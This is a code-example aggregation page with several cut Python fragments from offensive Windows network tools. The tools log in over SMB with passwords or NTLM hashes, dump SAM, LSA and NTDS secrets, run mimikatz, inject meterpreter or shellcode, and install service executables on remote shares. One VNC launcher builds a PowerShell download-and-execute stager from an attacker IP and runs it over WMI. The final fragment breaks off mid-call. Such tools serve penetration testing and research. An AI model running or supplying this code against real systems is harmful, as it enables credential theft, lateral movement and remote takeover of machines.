                    ps_command(settings.args.pscommand, settings.args.ps_arch),
                    host, domain, settings.args.no_output, smb,
                    settings.args.execm, user, passwd, ntlm_hash)

            if settings.args.mimikatz:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain,
                         True, smb, settings.args.execm, user, passwd,
                         ntlm_hash)

            if settings.args.gpp_passwords:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger, powah_command.gpp_passwords(), host,
                         domain, True, smb, settings.args.execm, user, passwd,
                         ntlm_hash)

            if settings.args.mimikatz_cmd:
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger,
                         powah_command.mimikatz(settings.args.mimikatz_cmd),
                         host, domain, True, smb, settings.args.execm, user,
                         passwd, ntlm_hash)

            if settings.args.powerview:
                #For some reason powerview functions only seem to work when using smbexec...
                #I think we might have a mistery on our hands boys and girls!
                powah_command = PowerShell(settings.args.server, local_ip)
                EXECUTOR(cme_logger,
                         powah_command.powerview(settings.args.powerview),
                         host, domain, True, smb, 'smbexec', user, passwd,
                         ntlm_hash)

            if settings.args.inject:
                powah_command = PowerShell(settings.args.server, local_ip)
                if settings.args.inject.startswith('met_'):
                    EXECUTOR(cme_logger, powah_command.inject_meterpreter(),
                             host, domain, True, smb, settings.args.execm,
                             user, passwd, ntlm_hash)

                if settings.args.inject == 'shellcode':
                    EXECUTOR(cme_logger, powah_command.inject_shellcode(),
                             host, domain, True, smb, settings.args.execm,
                             user, passwd, ntlm_hash)

                if settings.args.inject == 'dll' or settings.args.inject == 'exe':
                    EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host,
                             domain, True, smb, settings.args.execm, user,
                             passwd, ntlm_hash)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose: traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port,
                                                     e))
        if settings.args.verbose: traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port,
                                                    e))
        if settings.args.verbose: traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose: print_error(str(e))
        return
Ejemplo n.º 19
0
class SMBSpider:
    def __init__(self, _host, _domain, _port, _user, _passwd, _hashes,
                 _check_content, _share, search_str, _exts, _max_size):

        self.smbconnection = None
        self.host = _host
        self.domain = _domain
        self.port = _port
        self.user = _user
        self.passwd = _passwd
        self.hashes = _hashes
        self.search_str = search_str
        self.check_content = _check_content
        self.share = _share
        self.max_size = _max_size
        self.files_extensions = _exts

    def login(self):
        try:
            self.smbconnection = SMBConnection(self.host,
                                               self.host,
                                               None,
                                               self.port,
                                               timeout=2)
            try:
                self.smbconnection.login('', '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            print "[+] {}:{} is running {} (name:{}) (domain:{})".format(
                self.host, self.port, self.smbconnection.getServerOS(),
                self.smbconnection.getServerName(), self.domain)

            lmhash = ''
            nthash = ''
            if self.hashes:
                lmhash, nthash = self.hashes.split(':')

            self.smbconnection.login(self.user, self.passwd, self.domain,
                                     lmhash, nthash)
            return True
        except Exception as e:
            print "[!] {}".format(e)
            return False

    def logoff(self):
        self.smbconnection.logoff()

    def set_share(self, _share):
        self.share = _share

    def list_share(self):
        share_names = []
        for share in self.smbconnection.listShares():
            share_names.append(str(share['shi1_netname'][:-1]))
        return share_names

    def scanwalk(self, subfolder, depth):
        if depth == 0:
            return

        if subfolder == '' or subfolder == '.':
            subfolder = '*'
        elif subfolder.startswith('*/'):
            subfolder = subfolder[2:] + '/*'
        else:
            subfolder = subfolder.replace('/*/', '/') + '/*'

        for result in self.smbconnection.listPath(self.share, subfolder):

            if result.get_longname() not in ['.', '..']:

                # check if the file contains our pattern
                for s in self.search_str:
                    if result.get_longname().lower().find(s) != -1:
                        yield '%s' % os.path.join(subfolder,
                                                  result.get_longname())

                # if directory, be recursive
                if result.is_directory():
                    for res in self.scanwalk(
                            subfolder.replace('*', '') + result.get_longname(),
                            depth - 1):
                        yield res

                # check inside the file to found our pattern
                elif not result.is_directory():
                    if self.max_size > result.get_filesize():
                        if result.get_longname().endswith(
                                self.files_extensions):
                            if self.check_content:
                                for res in self.search_string(
                                        os.path.join(subfolder,
                                                     result.get_longname())):
                                    try:
                                        res = res.encode('utf-8')
                                        yield '%s' % res
                                    except:
                                        pass

    def search_string(self, path):
        path = path.replace('*', '')
        try:
            rfile = RemoteFile(self.smbconnection,
                               path,
                               self.share,
                               access=FILE_READ_DATA)
            rfile.open()
            while True:
                buffer = rfile.read(4096)
                if not buffer:
                    break

                for string in self.search_str:
                    indexes = [
                        m.start() for m in re.finditer(
                            string, buffer, flags=re.IGNORECASE)
                    ]
                    for i in indexes:
                        r = "{path} > {content}".format(
                            share=self.share,
                            path=path,
                            content=buffer[i:].strip().split('\n')[0])
                        yield r

            rfile.close()

        except SessionError as e:
            if 'STATUS_SHARING_VIOLATION' in str(e):
                pass

        except Exception, e:
            print e
Ejemplo n.º 20
0
def connect(host):
    """
        My imagination flowed free when coming up with this name
        This is where all the magic happens
    """

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login("", "")
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        print_status(
            u"{}:{} is running {} (name:{}) (domain:{})".format(
                host, settings.args.port, smb.getServerOS(), s_name, domain
            )
        )

        try:
            """
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            """
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (
            settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)
        ) or settings.args.combo_file:

            smb = smart_login(host, smb, domain)
            # Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump(
                    "{}/SMB".format(settings.args.port),
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.aesKey,
                    settings.args.kerb,
                )
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(host, settings.args.port, "logs/{}".format(host), smb, settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump(
                    "{}/SMB".format(settings.args.port),
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.aesKey,
                    settings.args.kerb,
                )
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    "{}/SMB".format(settings.args.port),
                    settings.args.hash,
                    settings.args.rid_brute,
                )
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(settings.args.user, settings.args.passwd, domain, settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(
                    settings.args.user,
                    settings.args.passwd,
                    domain,
                    settings.args.hash,
                    settings.args.kerb,
                    settings.args.aesKey,
                )

                wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)

            if settings.args.check_uac:
                uac = UACdump(smb, settings.args.kerb)
                uac.run()

            if settings.args.enable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.enable()

            if settings.args.disable_wdigest:
                wdigest = WdisgestEnable(smb, settings.args.kerb)
                wdigest.disable()

            if settings.args.command:
                EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb)

            if settings.args.pscommand:
                EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb)

            if settings.args.mimikatz:
                powah_command = PowerSploit(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(), host, domain, True, smb)

            if settings.args.mimikatz_cmd:
                powah_command = PowerSploit(settings.args.server, local_ip)
                EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb)

            if settings.args.inject:
                powah_command = PowerSploit(settings.args.server, local_ip)
                if settings.args.inject.startswith("met_"):
                    EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb)

                if settings.args.inject == "shellcode":
                    EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb)

                if settings.args.inject == "dll" or settings.args.inject == "exe":
                    EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb)
        try:
            smb.logoff()
        except:
            pass

    except SessionError as e:
        print_error("{}:{} {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except NetBIOSError as e:
        print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except DCERPCException as e:
        print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e))
        if settings.args.verbose:
            traceback.print_exc()

    except socket.error as e:
        if settings.args.verbose:
            print_error(str(e))
        return
Ejemplo n.º 21
0
class Wmiexec:
    OUTPUT_FILENAME = "__" + str(time.time())

    def __init__(self,
                 ip,
                 username,
                 hashes,
                 password="",
                 domain="",
                 share="ADMIN$",
                 secrets_dir=None):
        self.__ip = ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash, self.__nthash = hashes.split(":")
        self.__share = share
        self.__secrets_dir = secrets_dir
        self.shell = None

    def connect(self):
        self.smbConnection = SMBConnection(self.__ip, self.__ip)
        self.smbConnection.login(
            user=self.__username,
            password=self.__password,
            domain=self.__domain,
            lmhash=self.__lmhash,
            nthash=self.__nthash,
        )

        self.dcom = DCOMConnection(
            target=self.__ip,
            username=self.__username,
            password=self.__password,
            domain=self.__domain,
            lmhash=self.__lmhash,
            nthash=self.__nthash,
            oxidResolver=True,
        )

        try:
            iInterface = self.dcom.CoCreateInstanceEx(
                wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            self.iWbemServices = iWbemLevel1Login.NTLMLogin(
                "//./root/cimv2", NULL, NULL)
            iWbemLevel1Login.RemRelease()

        except (Exception, KeyboardInterrupt) as e:
            LOG.error(str(e))
            self.smbConnection.logoff()
            self.dcom.disconnect()

    def get_remote_shell(self):
        self.connect()
        win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
        self.shell = RemoteShell(self.__share, win32Process,
                                 self.smbConnection, self.OUTPUT_FILENAME,
                                 self.__secrets_dir)
        return self.shell

    def close(self):
        self.smbConnection.close()
        self.smbConnection = None
        self.dcom.disconnect()
        self.dcom = None
Ejemplo n.º 22
0
class ServiceInstall:
    def __init__(self,
                 SMBObject,
                 exeFile,
                 serviceName='',
                 binary_service_name=None):
        self._rpctransport = 0
        self.__service_name = serviceName if len(serviceName) > 0 else ''.join(
            [random.choice(string.ascii_letters) for i in range(4)])

        if binary_service_name is None:
            self.__binary_service_name = ''.join(
                [random.choice(string.ascii_letters)
                 for i in range(8)]) + '.exe'
        else:
            self.__binary_service_name = binary_service_name

        self.__exeFile = exeFile

        # We might receive two different types of objects, always end up
        # with a SMBConnection one
        if isinstance(SMBObject, smb.SMB) or isinstance(SMBObject, smb3.SMB3):
            self.connection = SMBConnection(existingConnection=SMBObject)
        else:
            self.connection = SMBObject

        self.share = ''

    def getShare(self):
        return self.share

    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        LOG.info("Requesting shares on %s....." %
                 (self.connection.getRemoteHost()))
        try:
            self._rpctransport = transport.SMBTransport(
                self.connection.getRemoteHost(),
                self.connection.getRemoteHost(),
                filename=r'\srvsvc',
                smb_connection=self.connection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            LOG.critical("Error requesting shares on %s, aborting....." %
                         (self.connection.getRemoteHost()))
            raise

    def createService(self, handle, share, path):
        LOG.info("Creating service %s on %s....." %
                 (self.__service_name, self.connection.getRemoteHost()))

        # First we try to open the service in case it exists. If it does, we remove it.
        try:
            resp = scmr.hROpenServiceW(self.rpcsvc, handle,
                                       self.__service_name + '\x00')
        except Exception as e:
            if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0:
                # We're good, pass the exception
                pass
            else:
                raise e
        else:
            # It exists, remove it
            scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle'])
            scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle'])

        # Create the service
        command = '%s\\%s' % (path, self.__binary_service_name)
        try:
            resp = scmr.hRCreateServiceW(self.rpcsvc,
                                         handle,
                                         self.__service_name + '\x00',
                                         self.__service_name + '\x00',
                                         lpBinaryPathName=command + '\x00',
                                         dwStartType=scmr.SERVICE_DEMAND_START)
        except:
            LOG.critical(
                "Error creating service %s on %s" %
                (self.__service_name, self.connection.getRemoteHost()))
            raise
        else:
            return resp['lpServiceHandle']

    def openSvcManager(self):
        LOG.info("Opening SVCManager on %s....." %
                 self.connection.getRemoteHost())
        # Setup up a DCE SMBTransport with the connection already in place
        self._rpctransport = transport.SMBTransport(
            self.connection.getRemoteHost(),
            self.connection.getRemoteHost(),
            filename=r'\svcctl',
            smb_connection=self.connection)
        self.rpcsvc = self._rpctransport.get_dce_rpc()
        self.rpcsvc.connect()
        self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
        try:
            resp = scmr.hROpenSCManagerW(self.rpcsvc)
        except:
            LOG.critical("Error opening SVCManager on %s....." %
                         self.connection.getRemoteHost())
            raise Exception('Unable to open SVCManager')
        else:
            return resp['lpScHandle']

    def copy_file(self, src, tree, dst):
        LOG.info("Uploading file %s" % dst)
        if isinstance(src, str):
            # We have a filename
            fh = open(src, 'rb')
        else:
            # We have a class instance, it must have a read method
            fh = src
        f = dst
        pathname = f.replace('/', '\\')
        try:
            self.connection.putFile(tree, pathname, fh.read)
        except:
            LOG.critical("Error uploading file %s, aborting....." % dst)
            raise
        fh.close()

    def findWritableShare(self, shares):
        # Check we can write a file on the shares, stop in the first one
        writeableShare = None
        for i in shares['Buffer']:
            if i['shi1_type'] == srvs.STYPE_DISKTREE or i[
                    'shi1_type'] == srvs.STYPE_SPECIAL:
                share = i['shi1_netname'][:-1]
                tid = 0
                try:
                    tid = self.connection.connectTree(share)
                    self.connection.openFile(
                        tid,
                        '\\',
                        FILE_WRITE_DATA,
                        creationOption=FILE_DIRECTORY_FILE)
                except:
                    LOG.debug('Exception', exc_info=True)
                    LOG.critical("share '%s' is not writable." % share)
                    pass
                else:
                    LOG.info('Found writable share %s' % share)
                    writeableShare = str(share)
                    break
                finally:
                    if tid != 0:
                        self.connection.disconnectTree(tid)
        return writeableShare

    def install(self):
        if self.connection.isGuestSession():
            LOG.critical("Authenticated as Guest. Aborting")
            self.connection.logoff()
            del self.connection
        else:
            fileCopied = False
            serviceCreated = False
            # Do the stuff here
            try:
                # Let's get the shares
                shares = self.getShares()
                self.share = self.findWritableShare(shares)
                if self.share is None:
                    return False
                self.copy_file(self.__exeFile, self.share,
                               self.__binary_service_name)
                fileCopied = True
                svcManager = self.openSvcManager()
                if svcManager != 0:
                    serverName = self.connection.getServerName()
                    if self.share.lower() == 'admin$':
                        path = '%systemroot%'
                    else:
                        if serverName != '':
                            path = '\\\\%s\\%s' % (serverName, self.share)
                        else:
                            path = '\\\\127.0.0.1\\' + self.share
                    service = self.createService(svcManager, self.share, path)
                    serviceCreated = True
                    if service != 0:
                        # Start service
                        LOG.info('Starting service %s.....' %
                                 self.__service_name)
                        try:
                            scmr.hRStartServiceW(self.rpcsvc, service)
                        except:
                            pass
                        scmr.hRCloseServiceHandle(self.rpcsvc, service)
                    scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
                    return True
            except Exception as e:
                LOG.critical(
                    "Error performing the installation, cleaning up: %s" % e)
                LOG.debug("Exception", exc_info=True)
                try:
                    scmr.hRControlService(self.rpcsvc, service,
                                          scmr.SERVICE_CONTROL_STOP)
                except:
                    pass
                if fileCopied is True:
                    try:
                        self.connection.deleteFile(self.share,
                                                   self.__binary_service_name)
                    except:
                        pass
                if serviceCreated is True:
                    try:
                        scmr.hRDeleteService(self.rpcsvc, service)
                    except:
                        pass
            return False

    def uninstall(self):
        fileCopied = True
        serviceCreated = True
        # Do the stuff here
        try:
            # Let's get the shares
            svcManager = self.openSvcManager()
            if svcManager != 0:
                resp = scmr.hROpenServiceW(self.rpcsvc, svcManager,
                                           self.__service_name + '\x00')
                service = resp['lpServiceHandle']
                LOG.info('Stopping service %s.....' % self.__service_name)
                try:
                    scmr.hRControlService(self.rpcsvc, service,
                                          scmr.SERVICE_CONTROL_STOP)
                except:
                    pass
                LOG.info('Removing service %s.....' % self.__service_name)
                scmr.hRDeleteService(self.rpcsvc, service)
                scmr.hRCloseServiceHandle(self.rpcsvc, service)
                scmr.hRCloseServiceHandle(self.rpcsvc, svcManager)
            LOG.info('Removing file %s.....' % self.__binary_service_name)
            self.connection.deleteFile(self.share, self.__binary_service_name)
        except Exception:
            LOG.critical("Error performing the uninstallation, cleaning up")
            try:
                scmr.hRControlService(self.rpcsvc, service,
                                      scmr.SERVICE_CONTROL_STOP)
            except:
                pass
            if fileCopied is True:
                try:
                    self.connection.deleteFile(self.share,
                                               self.__binary_service_name)
                except:
                    try:
                        self.connection.deleteFile(self.share,
                                                   self.__binary_service_name)
                    except:
                        pass
                    pass
            if serviceCreated is True:
                try:
                    scmr.hRDeleteService(self.rpcsvc, service)
                except:
                    pass
Ejemplo n.º 23
0
class VNCEXEC:
    def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, share=None, doKerberos=False, kdcHost=None):
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = aesKey
        self.__share = share
        self.__doKerberos = doKerberos
        self.__kdcHost = kdcHost
        self.shell = None
        self.vnc_upload_path = None
        self.vnc_upload_filename = None
        self.full_file_path = None
        self.smbConnection = None
        if hashes is not None:
            self.__lmhash, self.__nthash = hashes.split(':')


    def findWritableShare(self, shares):
        # Check we can write a file on the shares, stop in the first one
        for i in shares['Buffer']:
            if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL:
               share = i['shi1_netname'][:-1]
               if (len(share) == 2 and share[1] == '$') or share == 'ADMIN$':
                 pass
               else:
                 logging.info('Bad share %s' % share)
                 continue
               try:
                   self.smbConnection.createDirectory(share,'ARTKOND')
               except:
                   # Can't create, pass
                   #import traceback
                   #print traceback.print_exc()
                   logging.critical("share '%s' is not writable." % share)
                   pass
               else:
                   logging.info('Found writable share %s' % share)
                   self.smbConnection.deleteDirectory(share,'ARTKOND')
                   return str(share)
        return None

    def getShares(self):
        # Setup up a DCE SMBTransport with the connection already in place
        logging.info("Requesting shares on %s....." % (self.smbConnection.getRemoteHost()))
        try: 
            self._rpctransport = transport.SMBTransport(self.smbConnection.getRemoteHost(), self.smbConnection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.smbConnection)
            dce_srvs = self._rpctransport.get_dce_rpc()
            dce_srvs.connect()

            dce_srvs.bind(srvs.MSRPC_UUID_SRVS)
            resp = srvs.hNetrShareEnum(dce_srvs, 1)
            return resp['InfoStruct']['ShareInfo']['Level1']
        except:
            logging.critical("Error requesting shares on %s, aborting....." % (self.smbConnection.getRemoteHost()))
            raise

    def get_vnc_upload_path(self, share):
        if share == 'ADMIN$':
            return "C:\\windows\\temp\\"
        if len(share) == 2:
            if share[1] == '$':
                return share[0] + ":\\"

    def copy_file(self, file, tree, dst):

        logging.info("Uploading " + self.vnc_upload_path + self.vnc_upload_filename)
        
        pathname = string.replace(dst,'/','\\')
        try:
            self.smbConnection.putFile(tree, pathname, file.read)
        except:
            logging.critical("Error uploading file %s, aborting....." % dst)
            raise

    def upload_vnc(self, addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path):  
            fileCopied = False
            serviceCreated = False
            # Do the stuff here
            try:
                # Let's get the shares
                if self.__share is None:
                    shares = self.getShares()
                    self.__share = self.findWritableShare(shares)


                if self.__share is None:
                    logging.critical("Couldn't find writable share")
                    raise

                self.vnc_upload_path = self.get_vnc_upload_path(self.__share)

                if self.vnc_upload_path is None:
                    logging.critical("Can't deduct local path from share name " + self.__share)
                    raise

                self.vnc_upload_filename = uuid.uuid4().hex[:8] + '.bat'

                encoded_bat = BatEncode(open(invoke_vnc_path, 'rb').read(), self.vnc_upload_path + self.vnc_upload_filename, self.launch_string)
                encoded_buffer = encoded_bat.get_buffer()
                mem_file = StringIO.StringIO(encoded_buffer)


                if self.__share == 'ADMIN$':
                    self.full_file_path = '\\TEMP\\' + self.vnc_upload_filename
                else:
                    self.full_file_path = '\\' + self.vnc_upload_filename

                self.copy_file(mem_file , self.__share, self.full_file_path)
                fileCopied = True
            except:
                raise

    def run(self, addr, method, bc_ip, contype, vncpass, vncport, invoke_vnc_path, httpport):
        if bc_ip is None:
            bc_ip = ''

        self.launch_string = 'Invoke-Vnc '
        if contype == 'bind':
            pass
        elif contype == 'reverse':
            if bc_ip is None:
                print 'Ip addr required for reverse connection'
                sys.exit(1)
            else:
                self.launch_string += '-IpAddress ' + bc_ip 

        self.launch_string += ' -ConType ' + contype +' -Port ' + vncport  + ' -Password ' + vncpass
        logging.info("Using powershell launch string '" + self.launch_string + "'")

        if method == 'upload':
            logging.info("Connecting to SMB at " + addr)
            self.smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                self.smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
            else:
                self.smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                            self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)


            dialect = self.smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")


            self.upload_vnc(addr, bc_ip, contype, vncpass, vncport, invoke_vnc_path)


            dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                  self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
            try:
                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
                iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
                iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
                iWbemLevel1Login.RemRelease()

                win32Process,_ = iWbemServices.GetObject('Win32_Process')

                self.shell = RemoteShell(self.__share, win32Process, None)
                logging.info("Executing " + self.vnc_upload_path + self.vnc_upload_filename)
                if contype == 'bind':
                    logging.info("VNC server should start at {0}:{1}".format(addr, vncport))
                else:
                    logging.info("Expect reverse VNC connection at port " + vncport)
                self.shell.onecmd(self.vnc_upload_path + self.vnc_upload_filename)
                logging.info("Sleeping 10 seconds to allow bat file to unpack itself before deleting it")
                time.sleep(10)
                self.smbConnection.deleteFile(self.__share, self.full_file_path)
                logging.info("File " + self.__share + self.full_file_path + " deleted")
            except  (Exception, KeyboardInterrupt), e:
                #import traceback
                #traceback.print_exc()
                logging.error(str(e))
                logging.info("Error on executing bat file. Trying to delete it before exiting")
                self.smbConnection.deleteFile(self.__share, self.full_file_path)
                logging.info("{0} deleted".format(self.__share + self.full_file_path))
                if self.smbConnection is not None:
                    self.smbConnection.logoff()
                dcom.disconnect()
                sys.stdout.flush()
                sys.exit(1)

            if self.smbConnection is not None:
                self.smbConnection.logoff()
            dcom.disconnect()

        elif method == 'download':
            if bc_ip == '':
                logging.critical("-bc-ip needed when using download delivery method")
                sys.exit(1)

            ps1_line = "IEX (New-Object System.Net.Webclient).DownloadString('http://{0}:{1}/Invoke-Vnc.ps1'); {2}".format(bc_ip, httpport, self.launch_string)
            logging.info("Stager: {0}".format(ps1_line))
            command = str(PSOneliner(ps1_line))
            logging.debug(command)
            dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                  self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
            try:
                iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
                iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
                iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
                iWbemLevel1Login.RemRelease()

                win32Process,_ = iWbemServices.GetObject('Win32_Process')

                self.shell = RemoteShell(None, win32Process, None)
                self.shell.onecmd(command)
                while True:
                    pass
                dcom.disconnect()
            except (Exception, KeyboardInterrupt), e:
                #import traceback
                #traceback.print_exc()
                logging.error(str(e))
                logging.critical("Closing DCOM connection")
                dcom.disconnect()
                sys.stdout.flush()
                raise
Ejemplo n.º 24
0
def main_greenlet(host):

    try:

        smb = SMBConnection(host, host, None, settings.args.port)
        try:
            smb.login('' , '')
        except SessionError as e:
            if "STATUS_ACCESS_DENIED" in e.message:
                pass

        domain = settings.args.domain
        s_name = smb.getServerName()
        if not domain:
            domain = smb.getServerDomain()
            if not domain:
                domain = s_name

        cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host, 
                                                           'hostname': s_name,
                                                           'port': settings.args.port,
                                                           'service': 'SMB'})

        cme_logger.info(u"{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))

        if settings.args.mssql_instance or settings.args.mssql is not None:
            mssql_greenlet(host, s_name, domain)
            return

        try:
            '''
                DC's seem to want us to logoff first
                Windows workstations sometimes reset the connection, so we handle both cases here
                (go home Windows, you're drunk)
            '''
            smb.logoff()
        except NetBIOSError:
            pass
        except socket.error:
            smb = SMBConnection(host, host, None, settings.args.port)

        if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:

            smb = smart_login(host, domain, smb, cme_logger)
            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
                rfs = RemoteFileSystem(host, smb, cme_logger)
                if settings.args.delete:
                    rfs.delete()
                if settings.args.download:
                    rfs.download()
                if settings.args.upload:
                    rfs.upload()
                if settings.args.list:
                    rfs.list()

            if settings.args.enum_shares:
                shares = SHAREDUMP(smb, cme_logger)
                shares.dump(host)

            if settings.args.enum_users:
                users = SAMRDump(cme_logger,
                                 '{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain, 
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                users.dump(host)

            if settings.args.sam or settings.args.lsa or settings.args.ntds:
                dumper = DumpSecrets(cme_logger,
                                     'logs/{}'.format(host),
                                     smb,
                                     settings.args.kerb)

                dumper.do_remote_ops()
                if settings.args.sam:
                    dumper.dump_SAM()
                if settings.args.lsa:
                    dumper.dump_LSA()
                if settings.args.ntds:
                    dumper.dump_NTDS(settings.args.ntds,
                                     settings.args.ntds_history,
                                     settings.args.ntds_pwdLastSet)
                dumper.cleanup()

            if settings.args.pass_pol:
                pass_pol = PassPolDump(cme_logger,
                                 '{}/SMB'.format(settings.args.port),
                                 settings.args.user, 
                                 settings.args.passwd, 
                                 domain,
                                 settings.args.hash, 
                                 settings.args.aesKey,
                                 settings.args.kerb)
                pass_pol.dump(host)

            if settings.args.rid_brute:
                lookup = LSALookupSid(cme_logger,
                                      settings.args.user,
                                      settings.args.passwd,
                                      domain,
                                      '{}/SMB'.format(settings.args.port), 
                                      settings.args.hash, 
                                      settings.args.rid_brute)
                lookup.dump(host)

            if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
                rpc_query = RPCQUERY(cme_logger,
                                     settings.args.user, 
                                     settings.args.passwd, 
                                     domain, 
                                     settings.args.hash)

                if settings.args.enum_sessions:
                    rpc_query.enum_sessions(host)
                if settings.args.enum_disks:
                    rpc_query.enum_disks(host)
                if settings.args.enum_lusers:
                    rpc_query.enum_lusers(host)

            if settings.args.spider:
                smb_spider = SMBSPIDER(cme_logger, host, smb)
                smb_spider.spider(settings.args.spider, settings.args.depth)
                smb_spider.finish()

            if settings.args.wmi_query:
                wmi_query = WMIQUERY(cme_logger,
                                     settings.args.user,  
                                     domain,
                                     settings.args.passwd,
                                     settings.args.hash,
